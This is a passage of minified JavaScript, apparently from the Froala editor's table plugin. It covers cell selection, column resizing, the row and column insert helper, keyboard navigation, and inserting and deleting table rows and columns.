o,i,s,l,c=e,d=t,f=n,p=r;for(o=c;o<=d;o++)(1<(parseInt(_(a[o][f]).attr("rowspan"),10)||1)||1<(parseInt(_(a[o][f]).attr("colspan"),10)||1))&&(l=x((s=k(a[o][f],a)).row,s.col,a),c=Math.min(s.row,c),d=Math.max(l.row,d),f=Math.min(s.col,f),p=Math.max(l.col,p)),(1<(parseInt(_(a[o][p]).attr("rowspan"),10)||1)||1<(parseInt(_(a[o][p]).attr("colspan"),10)||1))&&(l=x((s=k(a[o][p],a)).row,s.col,a),c=Math.min(s.row,c),d=Math.max(l.row,d),f=Math.min(s.col,f),p=Math.max(l.col,p));for(i=f;i<=p;i++)(1<(parseInt(_(a[c][i]).attr("rowspan"),10)||1)||1<(parseInt(_(a[c][i]).attr("colspan"),10)||1))&&(l=x((s=k(a[c][i],a)).row,s.col,a),c=Math.min(s.row,c),d=Math.max(l.row,d),f=Math.min(s.col,f),p=Math.max(l.col,p)),(1<(parseInt(_(a[d][i]).attr("rowspan"),10)||1)||1<(parseInt(_(a[d][i]).attr("colspan"),10)||1))&&(l=x((s=k(a[d][i],a)).row,s.col,a),c=Math.min(s.row,c),d=Math.max(l.row,d),f=Math.min(s.col,f),p=Math.max(l.col,p));return c==e&&d==t&&f==n&&p==r?{min_i:e,max_i:t,min_j:n,max_j:r}:u(c,d,f,p,a)}(Math.min(r.row,a.row),Math.max(r.row,a.row),Math.min(r.col,a.col),Math.max(r.col,a.col),n);N(),e.classList.add("fr-cell-fixed"),t.classList.add("fr-cell-handler");for(var i=o.min_i;i<=o.max_i;i++)for(var s=o.min_j;s<=o.max_j;s++)_(e).closest("table").is(_(n[i][s]).closest("table"))&&_(n[i][s]).addClass("fr-selected-cell")}}function B(e){var t=null,n=_(e.target);return"TD"==e.target.tagName||"TH"==e.target.tagName?t=e.target:0<n.closest("th",n.closest("thead")[0]).length?t=n.closest("th",n.closest("thead")[0]).get(0):0<n.closest("td",n.closest("tr")[0]).length&&(t=n.closest("td",n.closest("tr")[0]).get(0)),-1===w.$el.html.toString().search(t)?null:t}function F(){N(),w.popups.hide("table.edit")}function e(e){var t=B(e);if("false"==_(t).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;if(0<te().length&&!t&&F(),!w.edit.isDisabled()||w.popups.isVisible("table.edit"))if(1!=e.which||1==e.which&&w.helpers.isMac()&&e.ctrlKey)(3==e.which||1==e.which&&w.helpers.isMac()&&e.ctrlKey)&&t&&F();else if(o=!0,t){0<te().length&&!e.shiftKey&&F(),e.stopPropagation(),w.events.trigger("image.hideResizer"),w.events.trigger("video.hideResizer"),a=!0;var n=t.tagName.toLowerCase();e.shiftKey&&0<w.$el.find("".concat(n,".fr-selected-cell")).length?_(w.$el.find("".concat(n,".fr-selected-cell")).closest("table")).is(_(t).closest("table"))?D(r,t):M():((w.keys.ctrlKey(e)||e.shiftKey)&&"TD"===e.currentTarget.tagName&&(1<te().length||0===_(t).find(w.selection.element()).length&&!_(t).is(w.selection.element()))&&M(),r=t,0<w.opts.tableEditButtons.length&&D(r,r))}}function n(e){if(!w.edit.isDisabled()&&w.popups.areVisible())return!0;var t=B(e);if(1===te().length&&null===t&&(w.toolbar.enable(),N()),(1===te().length&&t&&"TD"!==t.tagName&&"TH"!==t.tagName||!a&&!w.$tb.is(e.target)&&!w.$tb.is(_(e.target).closest(".fr-toolbar")))&&(w.toolbar.enable(),N()),("BODY"===e.target.tagName||"HTML"===e.target.tagName)&&!t&&0<te().length&&w.toolbar.enable(),!(1!=e.which||1==e.which&&w.helpers.isMac()&&e.ctrlKey)){if(o=!1,a)a=!1,B(e)||1!=te().length?0<te().length?w.selection.isCollapsed()?(g(),w.toolbar.enable()):(N(),w.edit.on()):te().length||(w.$el.removeClass("fr-no-selection"),w.edit.on()):N();if(L){L=!1,A.removeClass("fr-moving"),w.$el.removeClass("fr-no-selection"),w.edit.on();var n=parseFloat(A.css("left"))+w.opts.tableResizerOffset+w.$wp.offset().left;w.opts.iframe&&(n-=w.$iframe.offset().left),A.data("release-position",n),A.removeData("max-left"),A.removeData("max-right"),function T(){var e=A.data("origin"),t=A.data("release-position");if(e!==t){var n=A.data("first"),r=A.data("second"),a=A.data("table"),o=a.outerWidth();if(w.undo.canDo()||w.undo.saveStep(),null!=n&&null!=r){var i,s,l,c=S(a),d=[],f=[],p=[],u=[];for(i=0;i<c.length;i++)s=_(c[i][n]),l=_(c[i][r]),d[i]=s.outerWidth(),p[i]=l.outerWidth(),f[i]=d[i]/o*100,u[i]=p[i]/o*100;for(i=0;i<c.length;i++)if(s=_(c[i][n]),l=_(c[i][r]),c[i][n]!=c[i][r]){var h=(f[i]*(d[i]+t-e)/d[i]).toFixed(4);s.css("width",h+"%"),l.css("width",(f[i]+u[i]-h).toFixed(4)+"%")}}else{var g,m=a.parent(),v=parseFloat(m.css("padding-left")),b=parseFloat(m.css("padding-right")),C=v+b,E=o/(m.width()-C)*100,y=(parseInt(a.css("margin-left"),10)||0)/m.width()*100,L=(parseInt(a.css("margin-right"),10)||0)/m.width()*100;"rtl"==w.opts.direction&&0===r||"rtl"!=w.opts.direction&&0!==r?(g=(o+t-e)/o*E,a.css("margin-right","calc(100% - ".concat(Math.round(g).toFixed(4),"% - ").concat(Math.round(y).toFixed(4),"%)"))):("rtl"==w.opts.direction&&0!==r||"rtl"!=w.opts.direction&&0===r)&&(g=(o-t+e)/o*E,a.css("margin-left","calc(100% - ".concat(Math.round(g).toFixed(4),"% - ").concat(Math.round(L).toFixed(4),"%)"))),a.css("width","".concat(Math.round(g).toFixed(4),"%"))}w.selection.restore(),w.undo.saveStep(),w.events.trigger("table.resized",[a.get(0)])}A.removeData("origin"),A.removeData("release-position"),A.removeData("first"),A.removeData("second"),A.removeData("table")}(),z()}}}function P(e){if((!(_(e.currentTarget).is(_(e.originalEvent.relatedTarget))||e.currentTarget.contains(e.originalEvent.relatedTarget)||e.originalEvent.relatedTarget&&e.originalEvent.relatedTarget.contains(e.currentTarget))||e.currentTarget.querySelector("input, textarea"))&&(w.events.$on(_("input, textarea"),"click",re),!0===a&&0<w.opts.tableEditButtons.length)){if(_(e.currentTarget).closest("table").is(ne())){if("TBODY"===e.currentTarget.parentElement.parentElement.tagName&&"TD"==e.currentTarget.tagName&&0===w.$el.find("th.fr-selected-cell").length&&0===w.$el.find("tfoot td.fr-selected-cell").length)return void D(r,e.currentTarget);if("TFOOT"===e.currentTarget.parentElement.parentElement.tagName&&"TD"==e.currentTarget.tagName&&0===w.$el.find("tbody td.fr-selected-cell").length)return void D(r,e.currentTarget);if("TH"==e.currentTarget.tagName&&0===w.$el.find("td.fr-selected-cell").length)return void D(r,e.currentTarget)}"TD"!==e.currentTarget.tagName&&"TH"!==e.currentTarget.tagName&&M()}}function $(e,t,n,r){for(var a,o=t;o!=w.el&&"TD"!=o.tagName&&"TH"!=o.tagName&&("up"==r?a=o.previousElementSibling:"down"==r&&(a=o.nextElementSibling),!a);)o=o.parentNode;"TD"==o.tagName||"TH"==o.tagName?function i(e,t){for(var n=e;n&&"TABLE"!=n.tagName&&n.parentNode!=w.el;)n=n.parentNode;if(n&&"TABLE"==n.tagName){var r=S(_(n));"up"==t?H(k(e,r),n,r):"down"==t&&U(k(e,r),n,r)}}(o,r):a&&("up"==r&&w.selection.setAtEnd(a),"down"==r&&w.selection.setAtStart(a))}function H(e,t,n){0<_(".tribute-container").length&&"none"!=_(".tribute-container").css("display")||(0<e.row?w.selection.setAtEnd(n[e.row-1][e.col]):$(0,t,0,"up"))}function U(e,t,n){if(!(0<_(".tribute-container").length&&"none"!=_(".tribute-container").css("display"))){var r=parseInt(n[e.row][e.col].getAttribute("rowspan"),10)||1;e.row<n.length-r?w.selection.setAtStart(n[e.row+r][e.col]):$(0,t,0,"down")}}function z(){A&&(A.find("div").css("opacity",0),A.css("top",0),A.css("left",0),A.css("height",0),A.find("div").css("height",0),A.hide())}function K(){c&&c.removeClass("fr-visible").css("left","-9999px")}function V(e,t){var n,r=_(t);r&&(n=r.closest("table"));var a=n.parent();if(t&&"TD"!=t.tagName&&"TH"!=t.tagName&&(0<r.closest("td").length?t=r.closest("td"):0<r.closest("th").length&&(t=r.closest("th"))),!t||"TD"!=t.tagName&&"TH"!=t.tagName)A&&r.get(0)!=A.get(0)&&r.parent().get(0)!=A.get(0)&&w.core.sameInstance(A)&&z();else{if(r=_(t),0===w.$el.find(r).length)return!1;var o=r.offset().left-1,i=o+r.outerWidth();if(Math.abs(e.pageX-o)<=w.opts.tableResizerOffset||Math.abs(i-e.pageX)<=w.opts.tableResizerOffset){var s,l,c,d,f,p=S(n),u=k(t,p),h=x(u.row,u.col,p),g=n.offset().top,m=n.outerHeight()-1;"rtl"!=w.opts.direction?e.pageX-o<=w.opts.tableResizerOffset?(c=o,0<u.col?(d=o-Z(u.col-1,p)+w.opts.tableResizingLimit,f=o+Z(u.col,p)-w.opts.tableResizingLimit,s=u.col-1,l=u.col):(s=null,l=0,d=n.offset().left-1-parseInt(n.css("margin-left"),10),f=n.offset().left-1+n.width()-p[0].length*w.opts.tableResizingLimit)):i-e.pageX<=w.opts.tableResizerOffset&&(c=i,h.col<p[h.row].length&&p[h.row][h.col+1]?(d=i-Z(h.col,p)+w.opts.tableResizingLimit,f=i+Z(h.col+1,p)-w.opts.tableResizingLimit,s=h.col,l=h.col+1):(s=h.col,l=null,d=n.offset().left-1+p[0].length*w.opts.tableResizingLimit,f=a.offset().left-1+a.width()+parseFloat(a.css("padding-left")))):i-e.pageX<=w.opts.tableResizerOffset?(c=i,0<u.col?(d=i-Z(u.col,p)+w.opts.tableResizingLimit,f=i+Z(u.col-1,p)-w.opts.tableResizingLimit,s=u.col,l=u.col-1):(s=null,l=0,d=n.offset().left+p[0].length*w.opts.tableResizingLimit,f=a.offset().left-1+a.width()+parseFloat(a.css("padding-left")))):e.pageX-o<=w.opts.tableResizerOffset&&(c=o,h.col<p[h.row].length&&p[h.row][h.col+1]?(d=o-Z(h.col+1,p)+w.opts.tableResizingLimit,f=o+Z(h.col,p)-w.opts.tableResizingLimit,s=h.col+1,l=h.col):(s=h.col,l=null,d=a.offset().left+parseFloat(a.css("padding-left")),f=n.offset().left-1+n.width()-p[0].length*w.opts.tableResizingLimit)),A||function y(){w.shared.$table_resizer||(w.shared.$table_resizer=_(document.createElement("div")).attr("class","fr-table-resizer").html("<div></div>")),A=w.shared.$table_resizer,w.events.$on(A,"mousedown",function(e){return!w.core.sameInstance(A)||(0<te().length&&F(),1==e.which?(w.selection.save(),L=!0,A.addClass("fr-moving"),M(),w.edit.off(),A.find("div").css("opacity",1),!1):void 0)}),w.events.$on(A,"mousemove",function(e){if(!w.core.sameInstance(A))return!0;L&&(w.opts.iframe&&(e.pageX-=w.$iframe.offset().left),X(e))}),w.events.on("shared.destroy",function(){A.html("").removeData().remove(),A=null},!0),w.events.on("destroy",function(){w.$el.find(".fr-selected-cell").removeClass("fr-selected-cell"),_("body").first().append(A.hide())},!0)}(),A.data("table",n),A.data("first",s),A.data("second",l),A.data("instance",w),w.$wp.append(A);var v=c-w.win.pageXOffset-w.opts.tableResizerOffset-w.$wp.offset().left,b=g-w.$wp.offset().top+w.$wp.scrollTop();if(w.opts.iframe){var C=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-top")),E=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-left"));v+=w.$iframe.offset().left+E,b+=w.$iframe.offset().top+C,d+=w.$iframe.offset().left,f+=w.$iframe.offset().left}A.data("max-left",d),A.data("max-right",f),A.data("origin",c-w.win.pageXOffset),A.css("top",b),A.css("left",v),A.css("height",m),A.find("div").css("height",m),A.css("padding-left",w.opts.tableResizerOffset),A.css("padding-right",w.opts.tableResizerOffset),A.show()}else w.core.sameInstance(A)&&z()}}function W(e,t){if(w.$box.find(".fr-line-breaker").isVisible())return!1;c||J(),w.$box.append(c),c.data("instance",w);var n,r=_(t).find("tr").first(),a=e.pageX,o=0,i=0;if(w.opts.iframe){var s=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-top")),l=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-left"));o+=w.$iframe.offset().left-w.helpers.scrollLeft()+l,i+=w.$iframe.offset().top-w.helpers.scrollTop()+s}r.find("th, td").each(function(){var e=_(this);return e.offset().left<=a&&a<e.offset().left+e.outerWidth()/2?(n=parseInt(c.find("a").css("width"),10),c.css("top",i+e.offset().top-w.$box.offset().top-n-5),c.css("left",o+e.offset().left-w.$box.offset().left-n/2),c.data("selected-cell",e),c.data("position","before"),c.addClass("fr-visible"),!1):e.offset().left+e.outerWidth()/2<=a&&a<e.offset().left+e.outerWidth()?(n=parseInt(c.find("a").css("width"),10),c.css("top",i+e.offset().top-w.$box.offset().top-n-5),c.css("left",o+e.offset().left-w.$box.offset().left+e.outerWidth()-n/2),c.data("selected-cell",e),c.data("position","after"),c.addClass("fr-visible"),!1):void 0})}function G(e,t){if(w.$box.find(".fr-line-breaker").isVisible())return!1;c||J(),w.$box.append(c),c.data("instance",w);var n,r=_(t),a=e.pageY,o=0,i=0;if(w.opts.iframe){var s=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-top")),l=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-left"));o+=w.$iframe.offset().left-w.helpers.scrollLeft()+l,i+=w.$iframe.offset().top-w.helpers.scrollTop()+s}r.find("tr").each(function(){var e=_(this);n=parseInt(c.find("a").css("width"),10);var t=o+e.offset().left-w.$box.offset().left;return t=0!==w.$box.offset().left?t-n-5:t+n-5,e.offset().top<=a&&a<e.offset().top+e.outerHeight()/2?(c.css("top",i+e.offset().top-w.$box.offset().top-n/2),c.css("left",t),c.data("selected-cell",e.find("td").first()),c.data("position","above"),c.addClass("fr-visible"),!1):e.offset().top+e.outerHeight()/2<=a&&a<e.offset().top+e.outerHeight()?(c.css("top",i+e.offset().top-w.$box.offset().top+e.outerHeight()-n/2),c.css("left",t),c.data("selected-cell",e.find("td").first()),c.data("position","below"),c.addClass("fr-visible"),!1):void 0})}function Y(e){i=null;var t=w.doc.elementFromPoint(e.pageX-w.win.pageXOffset,e.pageY-w.win.pageYOffset);w.opts.tableResizer&&(!w.popups.areVisible()||w.popups.areVisible()&&w.popups.isVisible("table.edit"))&&V(e,t),!w.opts.tableInsertHelper||w.popups.areVisible()||w.$tb.hasClass("fr-inline")&&w.$tb.isVisible()||function o(e,t){if(0===te().length){var n,r,a;if(t&&("HTML"==t.tagName||"BODY"==t.tagName||w.node.isElement(t)))for(n=1;n<=w.opts.tableInsertHelperOffset;n++){if(r=w.doc.elementFromPoint(e.pageX-w.win.pageXOffset,e.pageY-w.win.pageYOffset+n),_(r).hasClass("fr-tooltip"))return!0;if(r&&("TH"==r.tagName||"TD"==r.tagName||"TABLE"==r.tagName)&&(_(r).parents(".fr-wrapper").length||w.opts.iframe)&&"false"!=_(r).closest("table").attr("contenteditable"))return W(e,_(r).closest("table")),!0;if(a=w.doc.elementFromPoint(e.pageX-w.win.pageXOffset+n,e.pageY-w.win.pageYOffset),_(a).hasClass("fr-tooltip"))return!0;if(a&&("TH"==a.tagName||"TD"==a.tagName||"TABLE"==a.tagName)&&(_(a).parents(".fr-wrapper").length||w.opts.iframe)&&"false"!=_(a).closest("table").attr("contenteditable"))return G(e,_(a).closest("table")),!0}w.core.sameInstance(c)&&K()}}(e,t)}function j(){if(L){var e=A.data("table").offset().top-w.win.pageYOffset;if(w.opts.iframe){var t=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-top"));e+=w.$iframe.offset().top-w.helpers.scrollTop()+t}A.css("top",e)}}function Z(e,t){var n,r=_(t[0][e]).outerWidth();for(n=1;n<t.length;n++)r=Math.min(r,_(t[n][e]).outerWidth());return r}function q(e,t,n){var r,a=0;for(r=e;r<=t;r++)a+=Z(r,n);return a}function X(e){if(1<te().length&&o&&M(),!1===o&&!1===a&&!1===L)i&&clearTimeout(i),w.edit.isDisabled()&&!w.popups.isVisible("table.edit")||(i=setTimeout(Y,30,e));else if(L){var t=e.pageX-w.win.pageXOffset;w.opts.iframe&&(t+=w.$iframe.offset().left);var n=A.data("max-left"),r=A.data("max-right");n<=t&&t<=r?A.css("left",t-w.opts.tableResizerOffset-w.$wp.offset().left):t<n&&parseFloat(A.css("left"),10)>n-w.opts.tableResizerOffset?A.css("left",n-w.opts.tableResizerOffset-w.$wp.offset().left):r<t&&parseFloat(A.css("left"),10)<r-w.opts.tableResizerOffset&&A.css("left",r-w.opts.tableResizerOffset-w.$wp.offset().left)}else o&&K()}function Q(e){w.node.isEmpty(e.get(0))?w.opts.keepTextFormatOnTable&&w.browser.mozilla?e.append(kt.MARKERS):e.prepend(kt.MARKERS):e.prepend(kt.START_MARKER).append(kt.END_MARKER)}function J(){w.shared.$ti_helper||(w.shared.$ti_helper=_(document.createElement("div")).attr("class","fr-insert-helper").html('<a class="fr-floating-btn" role="button" tabIndex="-1" title="'.concat(w.language.translate("Insert"),'"><svg viewBox="0 0 32 32" xmlns="http://www.w3.org/2000/svg"><path d="M22,16.75 L16.75,16.75 L16.75,22 L15.25,22.000 L15.25,16.75 L10,16.75 L10,15.25 L15.25,15.25 L15.25,10 L16.75,10 L16.75,15.25 L22,15.25 L22,16.75 Z"/></svg></a>')),w.events.bindClick(w.shared.$ti_helper,"a",function(){var e=c.data("selected-cell"),t=c.data("position"),n=c.data("instance")||w;"before"==t?(w.undo.saveStep(),e.addClass("fr-selected-cell"),n.table.insertColumn(t),e.removeClass("fr-selected-cell"),w.undo.saveStep()):"after"==t?(w.undo.saveStep(),e.addClass("fr-selected-cell"),n.table.insertColumn(t),e.removeClass("fr-selected-cell"),w.undo.saveStep()):"above"==t?(w.undo.saveStep(),e.addClass("fr-selected-cell"),n.table.insertRow(t),e.removeClass("fr-selected-cell"),w.undo.saveStep()):"below"==t&&(w.undo.saveStep(),e.addClass("fr-selected-cell"),n.table.insertRow(t),e.removeClass("fr-selected-cell"),w.undo.saveStep()),K()}),w.events.on("shared.destroy",function(){w.shared.$ti_helper.html("").removeData().remove(),w.shared.$ti_helper=null},!0),w.events.$on(w.shared.$ti_helper,"mousemove",function(e){e.stopPropagation()},!0),w.events.$on(_(w.o_win),"scroll",function(){K()},!0),w.events.$on(w.$wp,"scroll",function(){K()},!0)),c=w.shared.$ti_helper,w.events.on("destroy",function(){c=null}),w.tooltip.bind(w.$box,".fr-insert-helper > a.fr-floating-btn")}function ee(){r=null,clearTimeout(i)}function te(){return w.el.querySelectorAll(".fr-selected-cell")}function ne(){var e=te();if(e.length){for(var t=e[0];t&&"TABLE"!=t.tagName&&t.parentNode!=w.el;)t=t.parentNode;return t&&"TABLE"==t.tagName?_(t):_([])}return _([])}function re(){a=!1}return{_init:function ae(){if(!w.$wp)return!1;if(w.helpers.isMobile()&&(w.events.$on(w.$el,"mousedown",e),w.events.$on(w.$win,"mouseup",n)),!w.helpers.isMobile()){L=a=o=!1,w.events.$on(w.$el,"mousedown",e),w.popups.onShow("image.edit",function(){N(),a=o=!1}),w.popups.onShow("link.edit",function(){N(),a=o=!1}),w.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&N()}),w.events.$on(w.$el,"mouseover","th, td",P),w.events.$on(w.$win,"mouseup",n),w.opts.iframe&&w.events.$on(_(w.o_win),"mouseup",n),w.events.$on(w.$win,"mousemove",X),w.events.$on(_(w.o_win),"scroll",j),w.events.on("contentChanged",function(){0<te().length&&(g(),w.$el.find("img").on("load.selected-cells",function(){_(this).off("load.selected-cells"),0<te().length&&g()}))}),w.events.$on(_(w.o_win),"resize",function(){N()}),w.events.on("toolbar.esc",function(){if(0<te().length)return w.events.disableBlur(),w.events.focus(),!1},!0),w.events.$on(_(w.o_win),"keydown",function(){o&&a&&(a=o=!1,w.$el.removeClass("fr-no-selection"),w.edit.on(),w.selection.setAtEnd(w.$el.find(".fr-selected-cell").last().get(0)),w.selection.restore(),N())}),w.events.$on(w.$el,"keydown",function(e){e.shiftKey?!1===function i(e){var t=te();if(null!=t&&0<t.length){var n,r=S(),a=e.which,o=k(1==t.length?n=t[0]:(n=w.el.querySelector(".fr-cell-fixed"),w.el.querySelector(".fr-cell-handler")),r);if(kt.KEYCODE.ARROW_RIGHT==a){if(o.col<r[0].length-1)return D(n,r[o.row][o.col+1]),!1}else if(kt.KEYCODE.ARROW_DOWN==a){if(o.row<r.length-1)return D(n,r[o.row+1][o.col]),!1}else if(kt.KEYCODE.ARROW_LEFT==a){if(0<o.col)return D(n,r[o.row][o.col-1]),!1}else if(kt.KEYCODE.ARROW_UP==a&&0<o.row)return D(n,r[o.row-1][o.col]),!1}}(e)&&setTimeout(function(){g()},0):function s(e){var t=e.which,n=w.selection.blocks();if(n.length&&("P"!==(n=n[0]).tagName&&"DIV"!==n.tagName||(n=n.parentNode),"TD"==n.tagName||"TH"==n.tagName)){for(var r=n;r&&"TABLE"!=r.tagName&&r.parentNode!=w.el;)r=r.parentNode;if(r&&"TABLE"==r.tagName&&(kt.KEYCODE.ARROW_LEFT==t||kt.KEYCODE.ARROW_UP==t||kt.KEYCODE.ARROW_RIGHT==t||kt.KEYCODE.ARROW_DOWN==t)&&(0<te().length&&F(),w.browser.webkit&&(kt.KEYCODE.ARROW_UP==t||kt.KEYCODE.ARROW_DOWN==t))){var a=w.selection.ranges(0).startContainer;if(a.nodeType==Node.TEXT_NODE&&(kt.KEYCODE.ARROW_UP==t&&(a.previousSibling&&"BR"!==a.previousSibling.tagName||a.previousSibling&&"BR"===a.previousSibling.tagName&&a.previousSibling.previousSibling)||kt.KEYCODE.ARROW_DOWN==t&&(a.nextSibling&&"BR"!==a.nextSibling.tagName||a.nextSibling&&"BR"===a.nextSibling.tagName&&a.nextSibling.nextSibling)))return;e.preventDefault(),e.stopPropagation();var o=S(_(r)),i=k(n,o);return kt.KEYCODE.ARROW_UP==t?H(i,r,o):kt.KEYCODE.ARROW_DOWN==t&&U(i,r,o),w.selection.restore(),!1}}}(e)}),w.events.on("keydown",function(e){if(!1===function r(e){if(e.which==kt.KEYCODE.TAB){var t;if(0<te().length)t=w.$el.find(".fr-selected-cell").last();else{var n=w.selection.element();"TD"==n.tagName||"TH"==n.tagName?t=_(n):n!=w.el&&(0<_(n).parentsUntil(w.$el,"td").length?t=_(n).parents("td").first():0<_(n).parentsUntil(w.$el,"th").length&&(t=_(n).parents("th").first()))}if(t)return e.preventDefault(),!!(0===w.selection.get().focusOffset&&0<_(w.selection.element()).parentsUntil(w.$el,"ol, ul").length&&(0<_(w.selection.element()).closest("li").prev().length||_(w.selection.element()).is("li")&&0<_(w.selection.element()).prev().length))||(F(),e.shiftKey?0<t.prev().length?Q(t.prev()):0<t.closest("tr").length&&0<t.closest("tr").prev().length?Q(t.closest("tr").prev().find("td").last()):0<t.closest("tbody").length&&0<t.closest("table").find("thead tr").length&&Q(t.closest("table").find("thead tr th").last()):0<t.next().length?Q(t.next()):0<t.closest("tr").length&&0<t.closest("tr").next().length?Q(t.closest("tr").next().find("td").first()):0<t.closest("thead").length&&0<t.closest("table").find("tbody tr").length?Q(t.closest("table").find("tbody tr td").first()):(t.addClass("fr-selected-cell"),v("below"),N(),Q(t.closest("tr").next().find("td").first())),w.selection.restore(),!1)}}(e))return!1;var t=te();if(0<t.length){if(0<t.length&&w.keys.ctrlKey(e)&&e.which==kt.KEYCODE.A)return N(),w.popups.isVisible("table.edit")&&w.popups.hide("table.edit"),t=[],!0;if(e.which==kt.KEYCODE.ESC&&w.popups.isVisible("table.edit"))return N(),w.popups.hide("table.edit"),e.preventDefault(),e.stopPropagation(),e.stopImmediatePropagation(),!(t=[]);if(1<t.length&&(e.which==kt.KEYCODE.BACKSPACE||e.which==kt.KEYCODE.DELETE)){w.undo.saveStep();for(var n=0;n<t.length;n++)_(t[n]).html("<br>"),n==t.length-1&&_(t[n]).prepend(kt.MARKERS);return w.selection.restore(),w.undo.saveStep(),!(t=[])}if(1<t.length&&e.which!=kt.KEYCODE.F10&&!w.keys.isBrowserAction(e))return e.preventDefault(),!(t=[])}else if(!(t=[])===function a(e){if(e.altKey&&e.which==kt.KEYCODE.SPACE){var t,n=w.selection.element();if("TD"==n.tagName||"TH"==n.tagName?t=n:0<_(n).closest("td").length?t=_(n).closest("td").get(0):0<_(n).closest("th").length&&(t=_(n).closest("th").get(0)),t)return e.preventDefault(),D(t,t),g(),!1}}(e))return!1},!0);var t=[];w.events.on("html.beforeGet",function(){t=te();for(var e=0;e<t.length;e++)t[e].className=(t[e].className||"").replace(/fr-selected-cell/g,"")}),w.events.on("html.afterGet",function(){for(var e=0;e<t.length;e++)t[e].className=(t[e].className?t[e].className.trim()+" ":"")+"fr-selected-cell";t=[]}),d(!0),p(!0)}w.events.on("destroy",ee)},insert:function oe(e,t){var n,r,a=function c(){var e={startTag:"",closeTag:""};if(w.opts.keepTextFormatOnTable){var t=_(w.selection.element().firstChild).parentsUntil(w.$el);e=u(t)}return{startTag:e.startTag,closeTag:e.closeTag}}(),o="<table "+(w.opts.tableDefaultWidth?'style="width: '+w.opts.tableDefaultWidth+';" ':"")+'class="fr-inserted-table"><tbody>',i=100/t;for(n=0;n<e;n++){for(o+="<tr>",r=0;r<t;r++)o+="<td"+(w.opts.tableDefaultWidth?' style="width: '+i.toFixed(4)+'%;"':"")+">"+a.startTag,0===n&&0===r&&(o+=kt.MARKERS),o+="<br>"+a.closeTag+"</td>";o+="</tr>"}if(o+="</tbody></table>",w.opts.trackChangesEnabled){w.edit.on(),w.events.focus(!0),w.selection.restore(),w.undo.saveStep(),w.markers.insert(),w.html.wrap();var s=w.$el.find(".fr-marker");w.node.isLastSibling(s)&&s.parent().hasClass("fr-deletable")&&s.insertAfter(s.parent()),s.replaceWith(o),w.selection.clear()}else w.html.insert(o);w.selection.restore();var l=w.$el.find(".fr-inserted-table");l.removeClass("fr-inserted-table"),w.events.trigger("table.inserted",[l.get(0)])},remove:h,insertRow:v,deleteRow:function ie(){var e=ne();if(0<e.length){var t,n,r,a=S(),o=O(a);if(null==o)return;if(0===o.min_i&&o.max_i==a.length-1)h();else{for(t=o.max_i;t>=o.min_i;t--){for(r=_(e.find("tr").not(e.find("> table tr")).get(t)),n=0;n<a[t].length;n++)if(0===n||a[t][n]!=a[t][n-1]){var i=_(a[t][n]);if(1<parseInt(i.attr("rowspan"),10)){var s=parseInt(i.attr("rowspan"),10)-1;1==s?i.removeAttr("rowspan"):i.attr("rowspan",s)}if(t<a.length-1&&a[t][n]==a[t+1][n]&&(0===t||a[t][n]!=a[t-1][n])){for(var l=a[t][n],c=n;0<c&&a[t][c]==a[t][c-1];)c--;0===c?_(e.find("tr").not(e.find("> table tr")).get(t+1)).prepend(l):_(a[t+1][c-1])[0].parentNode&&_(a[t+1][c-1])[0].insertAdjacentElement("afterend",l)}}var d=r.parent();r.remove(),0===d.find("tr").length&&d.remove(),a=S(e)}y(0,a.length-1,0,a[0].length-1,e),0<o.min_i?w.selection.setAtEnd(a[o.min_i-1][0]):w.selection.setAtEnd(a[0][0]),w.selection.restore(),w.popups.hide("table.edit")}}},insertColumn:function se(d){var e=ne();if(0<e.length){var f,p=S(),t=O(p);f="before"==d?t.min_j:t.max_j;var n,u=100/p[0].length,h=100/(p[0].length+1);e.find("th, td").each(function(){(n=_(this)).data("old-width",n.outerWidth()/e.outerWidth()*100)}),e.find("tr").not(e.find("> table tr")).each(function(e){for(var t,n=_(this),r=0,a=0;r-1<f;){if(!(t=n.find("> th, > td").get(a))){t=null;break}t==p[e][r]?(r+=parseInt(_(t).attr("colspan"),10)||1,a++):(r+=parseInt(_(p[e][r]).attr("colspan"),10)||1,"after"==d&&(t=0===a?-1:n.find("> th, > td").get(a-1)))}var o=_(t);if("after"==d&&f<r-1||"before"==d&&0<f&&p[e][f]==p[e][f-1]){if(0===e||0<e&&p[e][f]!=p[e-1][f]){var i=parseInt(o.attr("colspan"),10)+1;o.attr("colspan",i),o.css("width",(o.data("old-width")*h/u+h).toFixed(4)+"%"),o.removeData("old-width")}}else{var s,l=(o.get(0)||"").tagName;if(0<n.find("th").length&&"TH"===l)s='<th style="width: '.concat(h.toFixed(4),'%;"><br></th>');else{var c=m(p[e][f]);s='<td style="'.concat(o.attr("style"),"; width: ").concat(h.toFixed(4),'%;">')+c.startTag+"<br>"+c.closeTag+"</td>"}_(s).append("<br>"),_(s).css("width","".concat(h.toFixed(4),"%")),-1==t?n.prepend(s):null==t?n.append(s):"before"==d?o.before(s):"after"==d&&o.after(s)}}),e.find("th, td").each(function(){(n=_(this)).data("old-width")&&(n.css("width",(n.data("old-width")*h/u).toFixed(4)+"%"),n.removeData("old-width"))}),w.popups.isVisible("table.edit")&&g()}},deleteColumn:function le(){var e=ne();if(0<e.length){var t,n,r,a=S(),o=O(a);if(null==o)return;if(0===o.min_j&&o.max_j==a[0].length-1)h();else{var i=0;for(t=0;t<a.length;t++)for(n=0;n<a[0].length;n++)(r=_(a[t][n])).hasClass("fr-selected-cell")||(r.data("old-width",r.outerWidth()/e.outerWidth()*100),(n<o.min_j||n>o.max_j)&&(i+=r.outerWidth()/e.outerWidth()*100));for(i/=a.length,n=o.max_j;n>=o.min_j;n--)for(t=0;t<a.length;t++)if(0===t||a[t][n]!=a[t-1][n])if(r=_(a[t][n]),1<(parseInt(r.attr("colspan"),10)||1)){var s=parseInt(r.attr("colspan"),10)-1;1==s?r.removeAttr("colspan"):r.attr("colspan",s),r.css("width",(100*(r.data("old-width")-Z(n,a))/i).toFixed(4)+"%"),r.removeData("old-width")}else{var l=_(r.parent().get(0));r.remove(),0===l.find("> th, > td").length&&(0===l.prev().length||0===l.next().length||l.prev().find("> th[rowspan], > td[rowspan]").length<l.prev().find("> th, 